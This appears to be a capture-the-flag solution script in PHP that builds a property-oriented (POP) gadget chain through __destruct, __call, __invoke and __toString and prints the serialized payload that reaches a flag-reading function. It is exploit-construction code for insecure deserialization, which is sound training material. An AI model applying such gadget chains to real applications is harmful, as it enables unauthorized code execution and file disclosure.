Only 4
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct($mod1) {
$this->mod1 = $mod1;
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __construct($str1)
{
$this->str1 = $str1;
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function __construct()
{
}
public function get_flag()
{
echo highlight_file('serialize.php');
}
}
$getflag = new GetFlag();
$string1 = new string1($getflag);
$func = new func($string1);
$funct = new funct($func);
$call = new Call($funct);
$start_gg = new start_gg($call);
echo serialize($start_gg);Last updated